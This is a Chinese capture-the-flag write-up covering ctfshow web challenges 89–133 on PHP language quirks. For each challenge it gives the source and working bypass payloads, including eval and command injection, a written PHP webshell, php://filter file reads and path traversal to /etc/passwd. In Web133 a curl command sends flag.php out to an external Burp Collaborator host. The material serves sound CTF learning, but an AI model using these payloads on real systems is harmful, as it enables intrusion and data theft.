ctfshowWeb入门 php特性全部wp

Web89(preg_match和intval)

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
//?num[]=1

绕过正则,intval不为0。采取传入数组的方式绕过

preg_math()只能处理字符串,如果处理数组会返回false;intval如果传入数组,会返回true。

Web90(intval)

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
//?num=4476a
//?num=0x117c

Web91(正则匹配多行模式)

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

^表示开始,$表示结束,i表示不区分大小写,m表示多行模式

?cmd=php%0abbb

URL的换行符为%0a\n不起换行作用,因为URL编码中斜杠并不是转义字符,\n只是普通的字符串而已

Web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
//?num=0x117c(十六进制)
//?num=010574(八进制)
//?num=4476e123
//?num=4476.1(4476.1~4476.9)

Web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
//?num=010574
//?num=4476.1

Web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
  $num = $_GET['num'];
  if($num==="4476"){
    die("no no no!");
  }
  if(preg_match("/[a-z]/i", $num)){
    die("no no no!");
  }
  if(!strpos($num, "0")){
    die("no no no!");
  }
  if(intval($num,0)===4476){
    echo $flag;
  }
}
//?num=4476.10

时刻要注意num是个字符串,只要在4476后面用字符截断,即可绕过弱类型比较。关键是多了个strpos,这个函数的位置很巧妙,它要求num中必须有0,但还不能在开头,所以传入一个浮点数

Web95(八进制加号绕过)

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
//?num=+010574

多过滤了一个.,就不能用浮点数了,可以用8进制前面加个+绕过。

img

Web96(当前目录)

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
  if($_GET['u']=='flag.php'){
    die("no no no");
  }else{
    highlight_file($_GET['u']);
  }
}
//?u=./flag.php

Web97(数组绕过强比较)

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a[]=1&b[]=2  

md5()函数如果传入数组,返回值将是NULL,NULL===NULL,所以可以用数组绕过。

Web98(&引用)

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

&表示引用,比如$b=&$a表示变量b是变量a的一个引用,相当于同一个变量两个名字,一个变化另一个也会跟着变化。

补充一个小知识点:

直接赋值:将一个变量的值复制到另一个变量中。这意味着创建了一个新的数据副本,两个变量在内存中占用不同的存储位置,对其中一个变量的修改不会影响另一个变量。

引用赋值:使用 & 符号,使两个变量指向同一个内存地址,它们实际上引用的是同一个数据,对其中一个变量的修改会影响另一个变量。
第一句,如果$_GET被设置了,那么$_GET会引用(引用传递)$_POST数组,否则$_GET会被设置为字符串'flag'。
第二句,如果get的flag参数为"flag",那么get的参数是cookie的参数
第三句,如果get的flag参数为"flag",那么get的参数是server的参数
第四句,如果get传入HTTP_FLAG参数的值为"flag",那么显示$flag

我们只要get一个HTTP_FLAG(什么都可以 ?a=b),然后会去调用post里的参数,再在post传一个HTTP_FLAG=flag

image-20250214221107156

Web99(in_array)

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

in_array() 是否存在strict参数,如果不设置默认为False则为宽松比较,True需要检查搜索的数据与数组的值类型是否相同自动转换为1

题中为宽松比较。当n=1.php时 "1.php"==1,成功绕过

image-20250215111156214

/?n=1.php
content=<?php system("ls");?>

content=<?php system("cat flag36d.php");?>
再去访问/1.php

Web100(逻辑运算符优先级)

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

逻辑运算符的优先级:

&&>||>=>and

等号的优先级高于and,所以v0只跟v1有关系,v2和v3是干扰

简单做个小测试

<?php
$v0=is_numeric("1") and is_numeric("a") and is_numeric("b");
var_dump($v0);

image-20250215112648281

发现为true,说明可以绕过

然后就是怎么构造eval语句,我们不能直接输出字符串,应该输出$ctfshow的值,所以利用v2和v3的位置把给的这个括号注释掉

/?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

/?v1=1&v2=eval($_POST[1])?>%23&v3=;
1=system("cat ctfshow.php");

再将得到的字符串的"0x2d"换成-即可得到flag

Web101(反射API*)

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }    
}
?>
  • ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass('className')打印类的信息。

  • ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。

    过滤了好多符号,但是空格,分号没过滤掉,ctfshow这个类已经注册,可以用Reflectionclass反射函数包涵类信息

?v1=1&v2=echo new Reflectionclass&v3=;

然后对最后一位进行爆破

Web102(回调函数,短标签内敛执行)

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

call_user_func():把第一个参数作为回调函数使用,后面的参数是这个函数的参数。返回调用函数的返回值。

file_put_contents():把一个字符串写入文件,如果文件不存在则创建之。

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php

v1=hex2bin

v2在经过substr后变成5044383959474e6864434171594473,在经过v1的16进制转二进制字符串后变为PD89YGNhdCAqYDs,最后用base64解码为<?=cat *;

Web103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

跟Web102一样

v1=hex2bin
/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php

Web104(SHA1弱比较)

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
  $v1 = $_POST['v1'];
  $v2 = $_GET['v2'];
  if(sha1($v1)==sha1($v2)){
    echo $flag;
  }
}
?>
v1=10932435112
/?v2=aaroZmOk

Web105(变量覆盖)

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

payload1

执行die($suces)
?suces=flag&flag=1

payload2

执行die($error)
?suces=flag
error=suces&flag=1

Web106(同Web104)

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>
v1=10932435112
/?v2=aaroZmOk

Web107(parse_str)

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);  #对v1进行解析
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>
v1=flag=0e545993274517709034328855841020
/?v3=s878926199a

Web108(%00截断绕过ereg())

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
  die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
  echo $flag;
}
?>

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

Web109(echo new $v1触发反序列化)

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

new $v1 创建了一个名为v1的实例,调用v2方法。echo 一个对象 触犯反序列化的__toString()魔术方法,也就是本题的利用点

PHP 的魔术方法 __toString() 和异常处理机制实现执行任意代码

魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。

?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system('ls')
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

执行的代码相当于

eval("echo new Exception(system('tac fl36dg.txt'));");

由于Exception类的构造函数可以接受任意字符串参数,并且其__toString()方法会返回该字符串参数,eval会输出system('tac fl36dg.txt')的结果

上述的payload使用的都是php内置类,我们还可以使用匿名类结合魔术方法来打:

?v1=class{ public function __construct(){system('tac f*');}};&v2=w

创建了一个匿名类,并执行其构造函数,运行system('tac f*'); w()是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响结果

Web110(使用FilesystemIterator文件系统迭代器)

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}
?>

正则匹配了很多已经不能用上一个的payload了

php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getcwd() 函数会返回当前工作目录。

payload:(同时这个也适用Web109)

?v1=FilesystemIterator&v2=getcwd

相当于执行:

eval("echo new FilesystemIterator(getcwd());");

getcwd()返回当前工作目录路径,之后创建一个FilesystemIterator对象,该对象会遍历当前目录中的文件,这里就是输出当前目录中第一个文件的路径。

Web111(变量覆盖之GLOBAL全局变量)

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }    
}
?>

要求 v1 中包含字符串 "ctfshow",才会调用 getflag 函数

将 $v2 的值引用赋给 $v1 对应的变量,即 $ctfshow,之后打印变量 $$v1($ctfshow) 的信息

如果将$v2赋值为flag,就得到$flag,再将$flag赋值给$ctfshow,然后输出$ctfshow 实际输出的是$flag的内容

?v1=ctfshow&v2=flag

但返回的是NULL,因为$flag在自定义函数getFlag函数中没有定义,$flag是属于flag.php中的变量,对于getFlag来说是外部变量,不能直接使用。

因此这里使用超全局变量$GLOBALS,GLOBALS是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。(global必须大写)

/?v1=ctfshow&v2=GLOBALS

image-20250215193854741

Web112(伪协议绕过is_file)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

没有过滤php://filter 可以不用过滤器直接读取。

方法一:

?file=php://filter/resource=flag.php

方法二:

也可以用文件包含里的Web117

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

第一个payload需要用脚本转换一下

<?php
#因为有特殊符号,需要加上转义符
$flag="f\$al=gc\"fthswo3{71eeb1-9103f4-7d-1b88f7-d90e06ab44}9;\"";
$result=iconv("UCS-2BE","UCS-2LE",$flag);
echo  "flag:".$result."\n";
?>

方法三:

转换过滤器convert里还有一个quoted-printable-encode可以用。

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

方法四:

封装协议zip

?file=compress.zlib://flag.php

compress.zlib类似gzopen()

img

img

file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。

方法五:

详见Web113的方法二

Web113

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
  if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
    die('hacker!');
  }else{
    return $file;
  }
}
$file=$_GET['file'];
if(! is_file($file)){
  highlight_file(filter($file));
}else{
  echo "hacker!";
}

方法一:

多过滤了filter 使用上题的方法四

?file=compress.zlib://flag.php

方法二:

目录溢出导致is_file认为这不是一个文件。同样也适用Web112

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

img

Web114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
  if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
    die('hacker!');
  }else{
    return $file;
  }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
  highlight_file(filter($file));
}else{
  echo "hacker!";
}

限制了compress和convert和root,但是没有限制php://filter

/?file=php://filter/resource=flag.php

Web115(换页符%0c绕过is_numeric()+trim())

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
  $num=str_replace("0x","1",$num);
  $num=str_replace("0","1",$num);
  $num=str_replace(".","1",$num);
  $num=str_replace("e","1",$num);
  $num=str_replace("+","1",$num);
  return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
  if($num=='36'){
    echo $flag;
  }else{
    echo "hacker!!";
  }
}else{
  echo "hacker!!!";
}

is_numeric可以在数字前面加空格绕过,同时加上空格可以绕过$num!=='36'

trim是移除字符串两侧的空白字符或其他预定义字符,可以看到空格等字符是会被去掉的,那么可以用%0c

img

使用%0c也可以绕过filter

接下来再看第二个判断

img

可以看到!==时不进行类型转换,所以字符串和数值比较,类型不同,结果tuue;同样加上%0c换页符,在==进行类型转换,会被转换为数值的36,结果为true

?num=%0c36

Web123($_SERVER['argv'])

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
     eval("$c".";"); 
     if($fl0g==="flag_give_me"){
       echo $flag;
     }
  }
}
?>

非预期解:

CTF_SHOW=&CTF[SHOW.COM=&fun=$flag

在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。所以参数名不一定要CTF_SHOW;CTF SHOW和CTF.SHOW都可以

在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。

由于没有过滤字母和空格,直接用 echo 输出 flag

方法二:

在PHP中,$_SERVER['a']用于获取脚本的命令行参数,通常,这是在命令行模式下运行 PHP 脚本时使用的,而不是在网页模式下使用。

当在命令行模式下运行 PHP 脚本时,例如: php script.php arg1 arg2

那么 $_SERVER['argv'] 将包含以下内容:

$_SERVER['argv'][0] = 'script.php';  // 脚本名
$_SERVER['argv'][1] = 'arg1';        // 第一个参数
$_SERVER['argv'][2] = 'arg2';        // 第二个参数

在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER['argv'] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到$ _SERVER['argv']中

get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
这里的查询字符串没有包含 fl0g,但包含了 $fl0g。由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。

post 传入 CTF_SHOW 和 CTF_SHOW.COM 确保 isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) 这部分条件为真,fun=eval($a[0]) 将 eval($a[0]) 的代码传递给 $c。

准确来说,此时的 $_SERVER[‘argv’][0] 就等于 $_SERVER[‘QUERY_STRING’],$_SERVER["QUERY_STRING"] 就是查询 (query) 的字符串,这是由于 php.ini 开启了register_argc_argv 配置项。

举个例子:
http://example.com/test.php?arg1=value1&arg2=value2

输出结果:
参数数组:
Array
(
    [0] => test.php
    [1] => arg1=value1
    [2] => arg2=value2
)


当访问 ?$fl0g=flag_give_me; 时,服务器配置使得查询字符串被传递到 $_SERVER['argv'] 中。
在这种配置下,$_SERVER['argv'][0] 包含了整个查询字符串,即 '$fl0g=flag_give_me;'。

在 eval("$c;"); 中实际执行的是 eval('eval($a[0]);');,因为 $a[0] 是 '$fl0g=flag_give_me;',这相当于执行了 eval('$fl0g=flag_give_me;');,这样就定义了变量 $fl0g 并赋值为 'flag_give_me'。

方法三:官方的预期解

get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
还是举一个例子:
http://example.com/test.php?;ls+-l

Array
(
    [0] => test.php
    [1] => ;ls+-l
)
被设置为;ls -l,然后被传递到   system()   函数中执行,导致服务器的文件列表被列出,从而引发远程代码执行(RCE)漏洞。

通过加号+分割argv成多个部分,也是为了得到fl0g=flag_give_me,parse_str()函数用来把查询字符串解析到变量中

img

Web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

上题的方法二和方法三仍可以用

其他payload

?1=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_POST[1])&1=flag.php

CTF_SHOW=&CTF[SHOW.COM=&fun=include($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

CTF_SHOW=&CTF[SHOW.COM=&fun=require($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())

Web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
     eval("$c".";"); 
     if($fl0g==="flag_give_me"){
       echo $flag;
     }
  }
}

Web124的方法二和方法三的payload还可以用

或者post传assert也可以

?$fl0g=flag_give_me;
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web127(extract()覆盖变量)

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
  if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
    return true;
  }else{
    return false;
  }
}
if(waf($url)){
  die("嗯哼?");
}else{
  extract($_GET);
}
if($ctf_show==='ilove36d'){
  echo $flag;
}

我们来了解一下extrack函数

<?php
extract($_GET); // 提取 $_GET 中的所有参数
echo "Hello, $name!"; // 输出用户的名字
?>
    
如果用户访问URL为
http://example.com/script.php?name=John
$_GET 数组为:['name'=>'John']
extract($_GET) 会将$name 设置为'John'
输出结果为Hello,John

回到题目,令ctf_show=ilove36d

extract可以从数组中将变量导入到当前的符号表,本题限制了中括号,下划线,可以用空格绕过,然后进行变量覆盖

/?ctf show=ilove36d

Web128(两层call_user_func)

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

f1不能有数字和大小写字母

call_user_func把第一个参数作为回调函数调用,其余参数是回调函数的参数。

两个call_user_func,第一个函数可以有一个参数,返回的第二个函数是无参数函数。

gettext():

获取的文本框当前输入内容的方法,返回内容。`_()`是gettext函数的简写形式,需要php扩展目录下有php_gettext.dll才能使用。

?f1=_&f2=phpinfo测试phpinfo()

get_defined_vars():返回由所有已定义变量所组成的数组。

当前文件包含flag.php,直接打印$flag变量

?f1=_&f2=get_defined_vars

Web129(readfile目录穿越)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

我们看到 readfile是一个文件读取 可以进行路径穿越读取文件

我们先尝试读取/etc/passwd

/?f=../ctfshow../../../../../../../../etc/passwd
ctfshow 前面只要有字符就行 不能出现在开头;否则stripos返回为0

发现可以读取

然后读取/var/www/html/flag.php

/?f=../ctfshow../../../../../../../../var/www/html/flag.php

Web130(正则匹配和首位出现判断)

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
  $f = $_POST['f'];
  if(preg_match('/.+?ctfshow/is', $f)){
    die('bye!');
  }
  if(stripos($f, 'ctfshow') === FALSE){
    die('bye!!');
  }
  echo $flag;
}

先看第一个if:

.+?:匹配任意字符(至少一个),?表示非贪婪匹配,即尽可能少匹配字符

i:不区分大小写

s:允许.匹配换行符

如果任何字符后跟ctfshow就会die()

第二个if:

stripos函数如果未发现字符串将返回 FALSE。
全等于的条件是必须双方的类型也一样,所以ctfshow在首位返回的0与FLASE不全等。

f=ctfshow

Web131(preg_match的栈溢出 回溯上限)

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
  $f = (String)$_POST['f'];
  if(preg_match('/.+?ctfshow/is', $f)){
    die('bye!');
  }
  if(stripos($f,'36Dctfshow') === FALSE){
    die('bye!!');
  }
  echo $flag;
}
这道题既要求ctfshow不在首位就匹配,又要求有36Dctfshow,非常的矛盾,所以只能找办法突破规则。

正则匹配中对回溯数和嵌套数进行了最大限制。
默认的backtrack_limit(最大回溯数)是100000,recursion_limit(最大嵌套数)是100000。

可以参考大神:
https://www.laruence.com/2010/06/08/1579.html

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。可以通过`var_dump(ini_get('pcre.backtrack_limit'));`来查看上限。那么只需要输入的匹配字符串长度大于1000000,那么preg_match函数就会直接返回false
正则匹配默认是贪婪模式;在量词后面直接加上一个问号`?`就是非贪婪模式。非贪婪匹配就是匹配到就结束,匹配尽可能少的字符。

非贪婪模式容易导致太多回溯。

嵌套太多,可能会造成耗尽栈空间爆栈。
<?php
echo str_repeat('very', '250000').'36Dctfshow';
?>

image-20250218142216043

Web132

/robots.txt 发现存在/admin 访问/admin 获取源码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
  $username = (String)$_GET['username'];
  $password = (String)$_GET['password'];
  $code = (String)$_GET['code'];
  if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ 
    if($code == 'admin'){
      echo $flag;
    }    
  }
}

代码审计后 发现||只要username=admin就可以绕过第一个if

再让code=admin就可以了

/?username=admin&password=123&code=admin

Web133(变量覆盖和curl -F使用)

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
  if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
    eval(substr($F,0,6));
  }else{
    die("6个字母都还不够呀?!");
  }
}

分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖?

/?F=`$F`; sleep 3
我们传递?F=`$F`; sleep 3好像网站确实sleep了一会说明的确执行了命令
那为什么会这样?
因为是我们传递的`$F`; sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`; sleep 3 使用最后执行的代码应该是
``$F`; sleep 3`,就执行成功

然后就是利用curl去带出flag.php

curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

/?F=`$F`; curl -X POST -F xx=@flag.php http://p1r8uycu5lb8bkf8r5uyvpe5rwxmlb.burpcollaborator.net

#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文

image-20250219104746376

或者我们可以直接进行命令执行

/?F=`$F`; curl http://p1r8uycu5lb8bkf8r5uyvpe5rwxmlb.burpcollaborator.net/`ls`

